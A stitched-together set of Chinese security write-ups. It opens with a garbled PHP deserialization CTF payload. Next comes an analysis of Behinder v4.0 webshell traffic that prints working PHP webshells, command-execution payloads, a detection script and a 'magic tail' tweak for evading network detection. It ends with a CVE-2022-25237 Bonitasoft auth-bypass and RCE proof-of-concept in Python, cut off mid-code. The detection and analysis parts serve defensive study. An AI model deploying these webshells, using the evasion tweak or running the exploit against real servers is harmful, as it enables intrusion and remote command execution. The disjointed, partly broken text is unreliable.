class FileHandler {
public $op=2;
public $filename="flag.php";
public $content="111";
pr
}
$a = new FileHandler();
echo urlencode(serialize($a));
?>
payload ?str=O%3A11%3A%22FileHandler%22%3A3%3A%7Bs%3A2%3A%22op%22%3Bi%3A2%3Bs%3A8%3A%22filename%22%3Bs%3A8%3A%22flag.php%22%3Bs%3A7%3A%22content%22%3Bs%3A3%3A%22111%22%3B%7D
冰蝎V4.0流量分析到攻防检测
0x01 前言
最近在改写 yso,觉得自己基础太差了,想先阅读一下 sqlmap、冰蝎以及一些其他工具的开发思路。文章可能写的不够严谨,有不对的地方还请师傅们多多指出。
0x02 环境搭建
这里我看的是 MountCloud 师傅所二开的冰蝎项目,版本是 4.0.2;其实就是通过反编译搞出来的,但是这里不要用 jd-gui 或者 jadx 这些反编译,我用的是 MountCloud 师傅自己写的反编译工具,地址:https://github.com/MountCloud/JavaDecompileTool-GUI
冰蝎项目源码地址:https://github.com/MountCloud/BehinderClientSource
拿到之后用 maven package 打包一下,运行 jar 包即可,同时要将 data.db 放到 jar 包同一目录下。
0x03 冰蝎的使用与流量分析
冰蝎的使用
我们看冰蝎的客户端界面,对于 shell 其实是没有输入密码模块的,其实在冰蝎当中 shell 是通过传输协议配置的。
这一传输协议的加密函数是用 Java 写的,并且 key 是默认的,不需要自己修改,我们点击生成服务端,则会生成三个 shell 文件,分别为 .php、.aspx 和 .jsp,这里我们起个环境然后连 shell(这里我是用虚拟机的环境,因为一开始用本机起一直 wireshark 抓不到流量,如果踩坑的师傅也欢迎私信和我交流)
我们可以看一下 shell.php(先对 xor_base64 的传输协议进行分析,后续分析 xor_base64 这种加密方式的攻防性),代码如下,此处代码和 v3.0 的相当不一样。
v4.0 的代码
<?php
@error_reporting(0);
function decrypt($data)
{
$key="25f9e794323b4538";
$bs="base64_"."decode";
$after=$bs($data."");
for($i=0;$i<strlen($after);$i++) {
$after[$i] = $after[$i]^$key[$i+1&15];
}
return $after;
}
$post=Decrypt(file_get_contents("php://input"));
eval($post);
?>
这里的 key 就是对应的连接密码,当然在冰蝎“传输协议”当中,可以自定义密码。
v3.0 的代码
<?php
@error_reporting(0);
session_start();
$key="e45e329feb5d925b"; //该密钥为连接密码32位md5值的前16位,默认连接密码rebeyond
$_SESSION['k']=$key;
session_write_close();
$post=file_get_contents("php://input");
if(!extension_loaded('openssl'))
{
$t="base64_"."decode";
$post=$t($post."");
for($i=0;$i<strlen($post);$i++) {
$post[$i] = $post[$i]^$key[$i+1&15];
}
}
else
{
$post=openssl_decrypt($post, "AES128", $key);
}
$arr=explode('|',$post);
$func=$arr[0];
$params=$arr[1];
class C{public function __invoke($p) {eval($p."");}}
@call_user_func(new C(),$params);
?>
v3.0 和 v4.0 的区别很明显在于这里 $_SESSION['k']=$key,v3.0 版本当中会把 key 作为 session 传入;接着判断 extension_loaded,也就是判断服务端是否存在 openssl 拓展,如果不存在就用 base64 解码,然后使用 key 进行异或加密,这也是冰蝎 v4.0 版本当中的 xor_base64 加密方式;如果服务端能够加载 openssl 拓展,就使用 AES128 解密,这里对应冰蝎 v4.0 版本当中的 aes 加密方式。
冰蝎流量分析
看了网上一堆分析的文章,都在说冰蝎的通信过程可以分为两个阶段:密钥协商和加密传输
第一阶段-密钥协商
1.攻击者通过 GET 或者 POST 方法,形如 http://127.0.0.1/shell.php?pass=645 的请求服务器密钥;
2.服务器使用随机数 MD5 的高16位作为密钥,存储到会话的 $_SESSION 变量中,并返回密钥给攻击者。
第二阶段-加密传输
1)客户端把待执行命令作为输入,利用 AES 算法或 XOR 运算进行加密,并发送至服务端;
2)服务端接受密文后进行 AES 或 XOR 运算解密,执行相应的命令;
3)执行结果通过 AES 加密后返回给攻击者。
但是我自己在分析的过程中并没有看到这个密钥协商的过程,同时也没有看到 $_SESSION 变量当中存储了 md5 的高 16 位,反而 $_SESSION 变量存储的是一个 26 位的字符。不知道这里是我的问题还是冰蝎 4.0 版本就是如此。
我先选取的是 xor_base64 的加密方式,我在连上马之后还执行了 whoami 命令,如果不算上自己的命令执行,一共是两组流量,我们来分析一下。
第一段代码,经过 xor_base64 的解密,得到如下代码
@error_reporting(0);
function main($content)
{
$result = array();
$result["status"] = base64_encode("success");
$result["msg"] = base64_encode($content);
@session_start();
echo encrypt(json_encode($result));
}
function encrypt($data)
{
$key="25f9e794323b4538";
for($i=0;$i<strlen($data);$i++) {
$data[$i] = $data[$i]^$key[$i+1&15];
}
$bs="base64_"."encode";
$after=$bs($data."");
return $after;
}
$content="WWtpektNWU1PREpybFB6VlQwdXY1T2JoMkNsMzVmZmVPZ0pDQnZaZElKejhVaGc1ZU42NnlCYWI3YVVqakJ4U3BRcnpneEdJT3pmclR5QWFVQ2Nqa2pTVm1OTU9LNzlrNHhzRjJjd2F2OTF2WFRITG9KdWpmMHpFeU9lTmFWRmdYQUdPT0loaHJKM0JSMkZNaUo5VjZwWGtwb2xQUWNyWGY1UzBuV05SYkE5eHFacmZUM3B4UG1jR3l2RTcxUUtCSkhMa0NJdms5NzdYM2FmZWFmazd4bkpHYl
$content=base64_decode($content);
main($content);
我个人倾向于是认为冰蝎 V4.0 版本当中,这一个包涵盖了密钥协商的部分,并且在这一个包之后重置了 $_session,而 msg 和第一个包里的 content 是相同的,所以我认为这一部分其实也在做密钥协商(后来看了冰蝎作者的文章,果然如此)
接着我们往下看相应报文,相应报文经过 xor_base64 解密之后结果如下
{
"status":"c3VjY2Vzcw==",
"msg":"WWtpektNWU1PREpybFB6VlQwdXY1T2JoMkNsMzVmZmVPZ0pDQnZaZElKejhVaGc1ZU42NnlCYWI3YVVqakJ4U3BRcnpneEdJT3pmclR5QWFVQ2Nqa2pTVm1OTU9LNzlrNHhzRjJjd2F2OTF2WFRITG9KdWpmMHpFeU9lTmFWRmdYQUdPT0loaHJKM0JSMkZNaUo5VjZwWGtwb2xQUWNyWGY1UzBuV05SYkE5eHFacmZUM3B4UG1jR3l2RTcxUUtCSkhMa0NJdms5NzdYM2FmZWFmazd4bkpHYlc0M
}
经过 base64 解密,status 对应的是 success,证明能够收到这个包,并且和前面对照上。
继续分析下一个包,代码如下,这里就进行了命令执行
error_reporting(0);
function main($whatever)
{
$result = array();
ob_start();
phpinfo();
$info = ob_get_contents();
ob_end_clean();
$driveList ="";
if (stristr(PHP_OS,"windows")||stristr(PHP_OS,"winnt")){
for($i=65;$i<=90;$i++) {
$drive=chr($i).':/';
file_exists($drive) ? $driveList=$driveList.$drive.";":'';
}
} else {
$driveList="/";
}
$currentPath=getcwd();
//echo "phpinfo=".$info."\n"."currentPath=".$currentPath."\n"."driveList=".$driveList;
$osInfo=PHP_OS;
$arch="64";
if (PHP_INT_SIZE == 4) {
$arch = "32";
}
$localIp=gethostbyname(gethostname());
if ($localIp!=$_SERVER['SERVER_ADDR']) {
$localIp=$localIp." ".$_SERVER['SERVER_ADDR'];
}
$extraIps=getInnerIP();
foreach($extraIps as $ip) {
if (strpos($localIp,$ip)===false) {
$localIp=$localIp." ".$ip;
}
}
$basicInfoObj=array(
"basicInfo"=>base64_encode($info),
"driveList"=>base64_encode($driveList),
"currentPath"=>base64_encode($currentPath),
"osInfo"=>base64_encode($osInfo),
"arch"=>base64_encode($arch),
"localIp"=>base64_encode($localIp));
//echo json_encode($result);
$result["status"] = base64_encode("success");
$result["msg"] = base64_encode(json_encode($basicInfoObj));
//echo json_encode($result);
//echo openssl_encrypt(json_encode($result), "AES128", $key);
echo encrypt(json_encode($result));
}
function getInnerIP()
{
$result = array();
if (is_callable("exec"))
{
$result = array();
exec('arp -a',$sa);
foreach($sa as $s)
{
if (strpos($s,'---')!==false) {
$parts=explode(' ',$s);
$ip=$parts[1];
array_push($result,$ip);
}
//var_dump(explode(' ',$s));
// array_push($result,explode(' ',$s)[1]);
}
}
return $result;
}
function encrypt($data)
{
$key="25f9e794323b4538";
for($i=0;$i<strlen($data);$i++) {
$data[$i] = $data[$i]^$key[$i+1&15];
}
$bs="base64_"."encode";
$after=$bs($data."");
return $after;
}
$whatever="RWN4cTE4VFlUNGRVUWhaalZ5UW1Kamw4R2RTZlJIalhlRFg2djR3Y1RLVFhhWnQxaFhES3ZBMW9QYjlPWmlGNlEyNUNVcXVkV2J4Q0dTUG5YZ3B2RjRDVWlGbGwxNVk2d3RMWUhnbjRVWWRETDdVbHNoWjNrZmNCNlUzNWNRRW5hU1g1RFNQSDI1Snpmc2ZqRzJBQWJyaDZMUDVxMWZuMm1JVzIxTklWR0JraTViUE1XTnBnVG5wVFJ5cEpsQmdCTlJmSW1WYzIzRERmVlRoeDBpQ1pLc
$whatever=base64_decode($whatever);
main($whatever);
这里我不太明白传入的 $whatever 是做什么的,感觉没什么用,这个脚本本质上还是在运行 phpinfo() 的命令执行。
把相应包解密出来,内容如下
{
"status":"c3VjY2Vzcw==",
"msg":"xxx略,篇幅太长"
}
把这一串 msg 内容放到 base64 解密,不难发现响应内容其实就是 phpinfo() 的命令回显。
至于后面的命令执行部分,是比较好分析的
把流量包提取出来,进行解密
@error_reporting(0);
function getSafeStr($str){
$s1 = iconv('utf-8','gbk//IGNORE',$str);
$s0 = iconv('gbk','utf-8//IGNORE',$s1);
if($s0 == $str){
return $s0;
}else{
return iconv('gbk','utf-8//IGNORE',$str);
}
}
function main($cmd,$path)
{
@set_time_limit(0);
@ignore_user_abort(1);
@ini_set('max_execution_time', 0);
$result = array();
$PadtJn = @ini_get('disable_functions');
if (! empty($PadtJn)) {
$PadtJn = preg_replace('/[, ]+/', ',', $PadtJn);
$PadtJn = explode(',', $PadtJn);
$PadtJn = array_map('trim', $PadtJn);
} else {
$PadtJn = array();
}
$c = $cmd;
if (FALSE !== strpos(strtolower(PHP_OS), 'win')) {
$c = $c . " 2>&1\n";
}
$JueQDBH = 'is_callable';
$Bvce = 'in_array';
if ($JueQDBH('system') and ! $Bvce('system', $PadtJn)) {
ob_start();
system($c);
$kWJW = ob_get_contents();
ob_end_clean();
} else if ($JueQDBH('proc_open') and ! $Bvce('proc_open', $PadtJn)) {
$handle = proc_open($c, array(
array(
'pipe',
'r'
),
array(
'pipe',
'w'
),
array(
'pipe',
'w'
)
), $pipes);
$kWJW = NULL;
while (! feof($pipes[1])) {
$kWJW .= fread($pipes[1], 1024);
}
@proc_close($handle);
} else if ($JueQDBH('passthru') and ! $Bvce('passthru', $PadtJn)) {
ob_start();
passthru($c);
$kWJW = ob_get_contents();
ob_end_clean();
} else if ($JueQDBH('shell_exec') and ! $Bvce('shell_exec', $PadtJn)) {
$kWJW = shell_exec($c);
} else if ($JueQDBH('exec') and ! $Bvce('exec', $PadtJn)) {
$kWJW = array();
exec($c, $kWJW);
$kWJW = join(chr(10), $kWJW) . chr(10);
} else if ($JueQDBH('exec') and ! $Bvce('popen', $PadtJn)) {
$fp = popen($c, 'r');
$kWJW = NULL;
if (is_resource($fp)) {
while (! feof($fp)) {
$kWJW .= fread($fp, 1024);
}
}
@pclose($fp);
} else {
$kWJW = 0;
$result["status"] = base64_encode("fail");
$result["msg"] = base64_encode("none of proc_open/passthru/shell_exec/exec/exec is available");
$key = $_SESSION['k'];
echo encrypt(json_encode($result));
return;
}
$result["status"] = base64_encode("success");
$result["msg"] = base64_encode(getSafeStr($kWJW));
echo encrypt(json_encode($result));
}
function encrypt($data)
{
$key="25f9e794323b4538";
for($i=0;$i<strlen($data);$i++) {
$data[$i] = $data[$i]^$key[$i+1&15];
}
$bs="base64_"."encode";
$after=$bs($data."");
return $after;
}
$cmd="Y2QgL2QgIkM6XHBocHN0dWR5X3Byb1xXV1dcZGlhZ25vc3RpY18wXGRpYWdub3N0aWNcYXNzZXRzXHVwbG9hZEltYWdlXExvZ29cIiZ3aG9hbWk=";
$cmd=base64_decode($cmd);
$path="QzovcGhwc3R1ZHlfcHJvL1dXVy9kaWFnbm9zdGljXzAvZGlhZ25vc3RpYy9hc3NldHMvdXBsb2FkSW1hZ2UvTG9nby8=";
$path=base64_decode($path);
main($cmd,$path);
$cmd 对应的是 cd /d "C:\phpstudy_pro\WWW\diagnostic_0\diagnostic\assets\uploadImage\Logo\"&whoami
$path 对应的是 C:/phpstudy_pro/WWW/diagnostic_0/diagnostic/assets/uploadImage/Logo/
对应回显是
{"status":"c3VjY2Vzcw==","msg":"ZGVza3RvcC1xbWNzOWdvXGRydW5rYmFieQ0K"}
一些疑问和改进点
简单来说,如果作为蓝队,需要严格分析的是第三个流量包,也就是命令执行的流量包,这也最容易分析。在学习阶段我也思考了具体的几个点
1、连马是如何连上的,看起来 shell.php 需要我们 post 传入 $data,这一步在流量分析中并没有抓到。
2、针对 aes,xor_base64 进行加密的防御型脚本检测。
3、冰蝎的改写,是否可以采用新型加密方式。
0x04 冰蝎传输与攻防
冰蝎传输与连马&命令执行
一开始这里我也不太理解,后面在看了冰蝎作者的文章之后恍然大悟,原文链接 —— https://mp.weixin.qq.com/s/EwY8if6ed_hZ3nQBiC3o7A
冰蝎 v4.0 版本不再有连接密码的概念,你的自定义传输协议的算法就是连接密码。按照冰蝎 3.0 版本当中的密码依旧是 "rebeyond",但是冰蝎 v4.0 的马使用蚁剑,以 "rebeyond" 作为密码是连不上的(亲测
在流量层,冰蝎的 aes 特征一直是厂商查杀的重点,在主机层,aes 相关的 API 也是一个强特征。既然是特征,那就一定存在一个一成不变的常量,那我们就把这个特征泛化一下,让他成为变量。为了一劳永逸解决这个问题,v4.0 版本提供了传输协议自定义功能,让用户对流量的加密和解密进行自定义,实现流量加解密协议的去中心化。
首先看一下冰蝎Payload流转的流程图:
可以分为这五个流程
1、本地对 Payload 进行加密,然后通过 POST 请求发送给远程服务端;
2、服务端收到 Payload 密文后,利用解密算法进行解密;
3、服务端执行解密后的 Payload,并获取执行结果;
这三步的基础是 shell.php,通过 post 请求传 body
<?php
@error_reporting(0);
function decrypt($data)
{
$key="25f9e794323b4538";
$bs="base64_"."decode";
$after=$bs($data."");
for($i=0;$i<strlen($after);$i++) {
$after[$i] = $after[$i]^$key[$i+1&15];
}
return $after;
}
$post=Decrypt(file_get_contents("php://input"));
eval($post);
?>
在第一次传输的时候,做了密钥协商与指纹确认的事情,冰蝎需要先确定你(受攻击端)确实是能够和我(本地攻击者)进行加解密,或者说可以进行数据传输,这也就是第一次发包。
对应的代码如下,这是冰蝎当中 payload/php 下的代码 ———— Echo.php
在实际传输过程中会发现冰蝎发包时多了一个 encrypt() 函数,我后续会对这一现象进行解释。
@error_reporting(0);
function main($content)
{
$result = array();
$result["status"] = base64_encode("success");
$result["msg"] = base64_encode($content);
@session_start(); //初始化session,避免connect之后直接background,后续get result无法获取cookie
echo encrypt(json_encode($result));
}
function encrypt($data)
{
$key="25f9e794323b4538";
for($i=0;$i<strlen($data);$i++) {
$data[$i] = $data[$i]^$key[$i+1&15];
}
$bs="base64_"."encode";
$after=$bs($data."");
return $after;
}
$content="WWtpektNWU1PREpybFB6VlQwdXY1T2JoMkNsMzVmZmVPZ0pDQnZaZElKejhVaGc1ZU42NnlCYWI3YVVqakJ4U3BRcnpneEdJT3pmclR5QWFVQ2Nqa2pTVm1OTU9LNzlrNHhzRjJjd2F2OTF2WFRITG9KdWpmMHpFeU9lTmFWRmdYQUdPT0loaHJKM0JSMkZNaUo5VjZwWGtwb2xQUWNyWGY1UzBuV05SYkE5eHFacmZUM3B4UG1jR3l2RTcxUUtCSkhMa0NJdms5NzdYM2FmZWFmazd4bkpHYl
$content=base64_decode($content);
main($content);
在这一次内容传输结束之后,冰蝎确认被攻击端与本地可以建立传输,才会发第二次包,也就是执行 phpinfo() 命令,代码略。
接着
4、服务端对 Payload 执行结果进行加密,然后返回给本地客户端;
5、客户端收到响应密文后,利用解密算法解密,得到响应内容明文。
响应内容略,在上文中已经提到过。
由上述流程可知,一个完整的传输协议由两部分组成,本地协议和远程协议。由于客户端使用 Java 开发,因此本地协议的加解密算法需要用 Java 实现。远程协议根据服务端语言类型,可能为 Java、PHP、C#、ASP。无论用哪种语言,同一个名称的传输协议,本地和远程的加解密逻辑应该是一致的,这样才能实现本地加密后,远程可以成功解密,远程加密后,本地同样也可以解密。
如下是一个最简单的 php 版本的传输协议:
传输协议的加解密函数名称分别为 Encrypt 和 Decrypt,且都只有一个入参,参数类型为二进制字节流。这也就是为什么在 shell.php 中存在一个 Decrypt() 函数,且每一次的发包中有 encrypt() 函数的原因。如此一来就实现了这一个条件 ———— 本地有一对加解密的函数,由 Java 编写;远程端(受攻击端)存在一对加解密的函数,由对应远程端的语言决定,如果是 php 就是由 php 编写,若是 asp 就由 asp 编写(亲测如此)
针对冰蝎 xor_base64 的检测脚本编写
内容是基于 LiRiu 师傅的文章写的
我认为的脚本编写,不应该是针对某个 User-Agent 或者是 Payload 开头等进行单一的判断,为了很多正常请求的通过,这些判断一定是需要综合考虑的。
因此合理的方式应该是记分的,判断恶意性的大小。我们先来看冰蝎在第二次连接的时候,也就是请求 phpinfo() 时的包
针对一些 HTTP 头的检测
HTTP 请求头
它的几个 Accept 头通常是固定的,所以这里可以作为一个主判断点
Accept: application/json, text/javascript, */*; q=0.01
Accept-Encoding: identity
Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7
有的师傅说冰蝎 4.0 当中的 UA 是十选一的,我觉得这里占比相当小,并不需要将 UA 加入进判断规则当中。
Content-Length 较大
Content-Length: 8244
可以作为辅助特征进行检测。
冰蝎通讯默认使用长连接
造成的影响是包中存在如下 HTTP 头,可以作为辅助特征进行检测。
Connection: Keep-Alive
端口检测
冰蝎与 webshell 建立连接的同时,javaw 也与目的主机建立 tcp 连接,每次连接使用本地端口在 49700 左右,每连接一次,每建立一次新的连接,端口就依次增加。此处可以对符合该范围内的端口告警。
针对恶意脚本内容的检测
冰蝎 shell 当中的恶意 php 脚本,头都是一样的,以 @error_reporting 开头
@error_reporting(0);
function main
所以对于这一段,个人认为是可以作为主要检测规则的,所以此处需要先写一个 xor_base64,单纯检测恶意脚本的 python 程序如下
from base64 import b64decode
phrases = [
"assert|eval(base64_decode('".encode(),
b'<?\n@error_reporting(0);\n\nfunctio',
b'<?\nfunction main($action, $remot',
b'<?\n@error_reporting(0);\nset_time',
b'\nerror_reporting(0);\n\nfunction m',
b'<?\n@error_reporting(0);\n\n\nfuncti',
b'<?\nerror_reporting(0);\nfunction ',
b'@error_reporting(0);\nfunction ma',
b'<?php\n\n$taskResult = array();\n$p',
b"<?\nerror_reporting(0);\nheader('C",
b'@error_reporting(0);\n\nfunction g',
b'<?\n@error_reporting(0);\n@set_tim',
]
def xor(l0, l1):
ret = [chr(ord(chr(a)) ^ ord(chr(b))) for a,b in zip(l0,l1)]
return "".join(ret)
def check(cipher):
cipher = b64decode(cipher)
for phrase in phrases:
p0 = phrase[0:16]
p1 = phrase[16:]
c0 = cipher[0:16]
c1 = cipher[16:16+len(p1)]
k0 = xor(p0, c0)
k1 = xor(p1, c1)
if k1 in k0:
return k0
return None
cipher = "..."
HeaderData = "..."
key = check(cipher)
if key:
print("[+]", cipher[:32], "is XOR Behinder Request!")
print("[+] The Key of Behinder is ", key)
else:
print("[-]", cipher[:32], "not Behinder Request..")
接着加上辅助判断
def auxiliaryPoints(HeaderData):
# 辅助判断的函数
evilPoint = 0
list = []
LightBlacklist = [
b'Accept: application/json, text/javascript, */*; q=0.01',
b'Accept-Encoding: identity',
b'Connection: Keep-Alive',
]
for temp in HeaderData:
list.append(temp)
lenData = 0
while lenData <= HeaderData.length():
if(list[lenData].contains(LightBlacklist)):
evilPoint = evilPoint + 10
return evilPoint
LiRiu 师傅的可以,但是我自己的包失败了。。
冰蝎马的改写与绕过 tips
冰蝎作者提出了一种非常巧妙的绕过方式,也就是在 AES 加密的时候增加一个小尾巴,这个尾巴存在自定义的可能性,也就让很多设备难以进行检测了。
加密算法
本地默认的 aes 传输协议加密算法如下:
private byte[] Encrypt(byte[] data) throws Exception
{
String key="e45e329feb5d925b";
byte[] raw = key.getBytes("utf-8");
javax.crypto.spec.SecretKeySpec skeySpec = new javax.crypto.spec.SecretKeySpec(raw, "AES");
javax.crypto.Cipher cipher =javax.crypto.Cipher.getInstance("AES/ECB/PKCS5Padding");// "算法/模式/补码方式"
cipher.init(javax.crypto.Cipher.ENCRYPT_MODE, skeySpec);
byte[] encrypted = cipher.doFinal(data);
Class baseCls;
try
{
baseCls=Class.forName("java.util.Base64");
Object Encoder=baseCls.getMethod("getEncoder", null).invoke(baseCls, null);
encrypted= (byte[]) Encoder.getClass().getMethod("encode", new Class[]{byte[].class}).invoke(Encoder, new Object[]{encrypted});
}
catch (Throwable error)
{
baseCls=Class.forName("sun.misc.BASE64Encoder");
Object Encoder=baseCls.newInstance();
String result=(String) Encoder.getClass().getMethod("encode",new Class[]{byte[].class}).invoke(Encoder, new Object[]{encrypted});
result=result.replace("\n", "").replace("\r", "");
encrypted=result.getBytes();
}
return encrypted;
}
服务端是 PHP,使用默认的 aes 算法,但是由于默认使用的是 aes128 的算法,会导致密文长度恒是 16 的整数倍,流量设备可能通过这个特征来对冰蝎做流量识别,我现在想对默认算法做一个简单修改,在密文最后最加一个 magic 尾巴,随机产生一个随机长度的额外字节数组
修改后本地:
private byte[] Encrypt(byte[] data) throws Exception
{
String key="e45e329feb5d925b";
byte[] raw = key.getBytes("utf-8");
javax.crypto.spec.SecretKeySpec skeySpec = new javax.crypto.spec.SecretKeySpec(raw, "AES");
javax.crypto.Cipher cipher =javax.crypto.Cipher.getInstance("AES/ECB/PKCS5Padding");// "算法/模式/补码方式"
cipher.init(javax.crypto.Cipher.ENCRYPT_MODE, skeySpec);
byte[] encrypted = cipher.doFinal(data);
Class baseCls;
try
{
baseCls=Class.forName("java.util.Base64");
Object Encoder=baseCls.getMethod("getEncoder", null).invoke(baseCls, null);
encrypted= (byte[]) Encoder.getClass().getMethod("encode", new Class[]{byte[].class}).invoke(Encoder, new Object[]{encrypted});
}
catch (Throwable error)
{
baseCls=Class.forName("sun.misc.BASE64Encoder");
Object Encoder=baseCls.newInstance();
String result=(String) Encoder.getClass().getMethod("encode",new Class[]{byte[].class}).invoke(Encoder, new Object[]{encrypted});
result=result.replace("\n", "").replace("\r", "");
encrypted=result.getBytes();
}
//增加魔法尾巴
int magicNum=Integer.parseInt(key.substring(0,2),16)%16;
java.util.Random random=new java.util.Random();
byte[] buf=new byte[magicNum];
for (int i=0;i<buf.length;i++)
{
buf[i]=(byte)random.nextInt(256);
}
java.io.ByteArrayOutputStream output = new java.io.ByteArrayOutputStream();
output.write(encrypted);
output.write(buf);
return output.toByteArray();
}
远程
由于我们目前假设的是一个 PHP 的目标环境,远程加密函数采用 PHP 格式编写,如下:
function Encrypt($data)
{
$key="e45e329feb5d925b"; //该密钥为连接密码32位md5值的前16位,默认连接密码rebeyond
$encrypted=base64_encode(openssl_encrypt($data, "AES-128-ECB", $key,OPENSSL_PKCS1_PADDING));
$magicNum=hexdec(substr($key,0,2))%16; //根据密钥动态确定魔法尾巴的长度
for($i=0;$i<$magicNum;$i++) {
$encrypted=$encrypted.chr(mt_rand(0, 255)); //拼接魔法尾巴
}
return $encrypted;
}
解密算法
在加密算法中,我们在原版 aes 的基础上,在密文最后追加了一段魔法尾巴,尾巴长度为秘钥的前两位十六进制对应的数值对 16 取模的值。在解密时,我们只需要在原版 aes 解密函数的基础上,把密文最后的尾巴截掉即可。分别对 Java 版本和 PHP 版本的解密函数做修改。
本地
private byte[] Decrypt(byte[] data) throws Exception
{
String k="e45e329feb5d925b";
int magicNum=Integer.parseInt(k.substring(0,2),16)%16; //取magic tail长度
data=java.util.Arrays.copyOfRange(data,0,data.length-magicNum); //截掉magic tail
javax.crypto.Cipher c=javax.crypto.Cipher.getInstance("AES/ECB/PKCS5Padding");c.init(2,new javax.crypto.spec.SecretKeySpec(k.getBytes(),"AES"));
byte[] decodebs;
Class baseCls ;
try{
baseCls=Class.forName("java.util.Base64");
Object Decoder=baseCls.getMethod("getDecoder", null).invoke(baseCls, null);
decodebs=(byte[]) Decoder.getClass().getMethod("decode", new Class[]{byte[].class}).invoke(Decoder, new Object[]{data});
}
catch (Throwable e)
{
baseCls = Class.forName("sun.misc.BASE64Decoder");
Object Decoder=baseCls.newInstance();
decodebs=(byte[]) Decoder.getClass().getMethod("decodeBuffer",new Class[]{String.class}).invoke(Decoder, new Object[]{new String(data)});
}
return c.doFinal(decodebs);
}
远程
function Decrypt($data)
{
$key="e45e329feb5d925b"; //该密钥为连接密码32位md5值的前16位,默认连接密码rebeyond
$magicNum=hexdec(substr($key,0,2))%16; //取magic tail长度
$data=substr($data,0,strlen($data)-$magicNum); //截掉magic tail
return openssl_decrypt(base64_decode($data), "AES-128-ECB", $key,OPENSSL_PKCS1_PADDING);
}
从理论上来说,这一种方式也可以绕过 xor_base64 的检测
0x05 小结
对于冰蝎 4.0 版本的分析大部分还是由自己独立完成,在还没有看作者写的内容的时候就意识到了传输协议的本质,冰蝎 4.0 写的确实非常厉害。
而在作者的文章当中也提供了很有启发性的思维 ———— 尽量以算法的方式改写冰蝎的攻击。
Bonitasoft认证绕过和RCE漏洞分析及复现(CVE-2022-25237)
一、漏洞原理
漏洞简述
Bonitasoft 是一个业务自动化平台,可以更轻松地在业务流程中构建、部署和管理自动化应用程序;
Bonita 是一个用于业务流程自动化和优化的开源和可扩展平台。
Bonita Web 2021.2版本受到认证绕过影响,因为其API认证过滤器的过滤模式过于宽泛。
通过添加恶意构造的字符串到API URL,普通用户可以访问需特权的API端点。这可能导致特权API操作将恶意代码添加至服务器,从而造成RCE攻击。
漏洞影响范围
供应商:Bonitasoft
产品:Bonita Platform
确认受影响版本:< 2022.1-u0
修复版本:/
社区版:< 2022.1-u0 (7.14.0)
订购版:< 2022.1-u0 (7.14.0) 、2021.2-u4 (7.13.4) 、2021.1-0307 (7.12.11) 、7.11.7
漏洞分析
本漏洞的漏洞点来自系统中web.xml文件,该文件用于定义系统应用的路由和如何处理路由的认证及授权。以社区版2021.2 u0为例,XML配置文件路径为bonita\BonitaCommunity-2021.2-u0\server\webapps\bonita\WEB-INF\web.xml。
按照经验来说,这里会是认证绕过易产生之处。确切地说,web.xml中的过滤器很有效地决定了访问特定路由是否应该进行过滤。下图认证过滤器定义赋值参数excludePatterns,值为i18ntranslation。之后将参数传递给2个不同过滤器类:RestAPIAuthorizationFilter, TokenValidatorFilter。
同时上述2个类RestAPIAuthorizationFilter, TokenValidatorFilter,存在同一父类AbstractAuthorizationFilter。
分析这些过滤器都对AbstractAuthorizationFilter进行扩展处理,其中doFilter方法我们展开说明。
路径为org.bonitasoft.console.common.server.login.filter.AbstractAuthorizationFilter#doFilter。
通过sessionIsNotNeeded方法进行检查,如果返回结果为真,则继续代码流程。
(checkValidCondition方法主要对doFilter的两个参数httpRequest、httpResponse进行检查,可能用于同源策略检查,不详细叙述)
下图可以看到该方法主要是参照excludePatterns对请求 URL路径字段进行检查。如果该路径存在该模式,会绕过认证过滤器,从而成功访问资源。
开始定义状态值isMatched,默认值为false。开始进行空值检查,对excludePatterns进行分隔处理。
循环进行检查,如果requestURL包含excludePatterns,则状态值isMatched变为true。跳出循环。
在前面XML文件中参数excludePattern的值为i18ntranslation。这意味着URL路径如果包含i18ntranslation,则会允许认证绕过。
根据代码特征测试,“/i18ntranslation/../“ 或 ”;i18ntranslation“ 可以进行绕过。
另外,远程命令执行(RCE)该漏洞主要是以上传恶意文件作为方式,上传接口同样定义在web.xml,为/API/pageUpload。
getPagePermissions方法在文件处理过程需要session,该session就是从apiSession获取。
根据代码,若未登录状况,apisession无法赋值,该方法会抛出异常。
从攻击角度,我们需要通过非特权下普通用户进行会话,使得apisession正常赋值,进一步实现远程命令执行。
二、漏洞复现实战
环境搭建
docker镜像:
https://hub.docker.com/_/bonita
vulfocus:
bonita镜像
漏洞复现
首先以超级管理员身份进入bonita,创建用户功能
创建普通用户
之后根据POC进行复现
POC:
import requests
import sys
class exploit:
try:
session = requests.session()
bonita_user = sys.argv[1]
bonita_password = sys.argv[2]
target_path = sys.argv[3]
cmd = sys.argv[4]
tempPath = ""
extension_id = ""
bonita_default_user = "install"
bonita_default_password = "install"
platform_default_user = "platformAdmin"
platform_default_password = "platform"
except:
print(f"Usage: python3 {sys.argv[0]} <username> <password> http://localhost:8080/bonita 'cat /etc/passwd'")
exit()
def try_default_logins():
req_url = f"{exploit.target_path}/loginservice"
req_cookies = {"x": "x"}
req_headers = {"Content-Type": "application/x-www-form-urlencoded"}
req_data = {"username": exploit.bonita_default_user, "password": exploit.bonita_default_password, "_l": "en"}
r = exploit.session.post(req_url, headers=req_headers, cookies=req_cookies, data=req_data)
if r.status_code == 401:
return False
# This does not seem to work when authenticating as platformAdmin, maybe it can though.
# req_url = f"{exploit.target_path}/platformloginservice"
# req_cookies = {"x": "x"}
# req_headers = {"Content-Type": "application/x-www-form-urlencoded"}
# req_data = {"username": exploit.platform_default_user, "password": exploit.platform_default_password, "_l": "en"}
# r = exploit.session.post(req_url, headers=req_headers, cookies=req_cookies, data=req_data)
# if r.status_code == 200:
# print(f"[+] Found default creds: {exploit.platform_default_user}:{exploit.platform_default_password}")
# return True
else:
print(f"[+] Found default creds: {exploit.bonita_default_user}:{exploit.bonita_default_password}")
return True
def login():
req_url = f"{exploit.target_path}/loginservice"
req_cookies = {"x": "x"}
req_headers = {"Content-Type": "application/x-www-form-urlencoded"}
req_data = {"username": exploit.bonita_user, "password": exploit.bonita_password, "_l": "en"}
r = exploit.session.post(req_url, headers=req_headers, cookies=req_cookies, data=req_data)
if r.status_code == 401:
print("[!] Could not get a valid session using those credentials.")
exit()
else:
print(f"[+] Authenticated with {exploit.bonita_user}:{exploit.bonita_password}")
def upload_api_extension():
req_url = f"{exploit.target_path}/API/pageUpload;i18ntranslation?action=add"
files=[
("file",("rce_api_extension.zip",open("rce_api_extension.zip",'rb'),'application/octet-stream'))
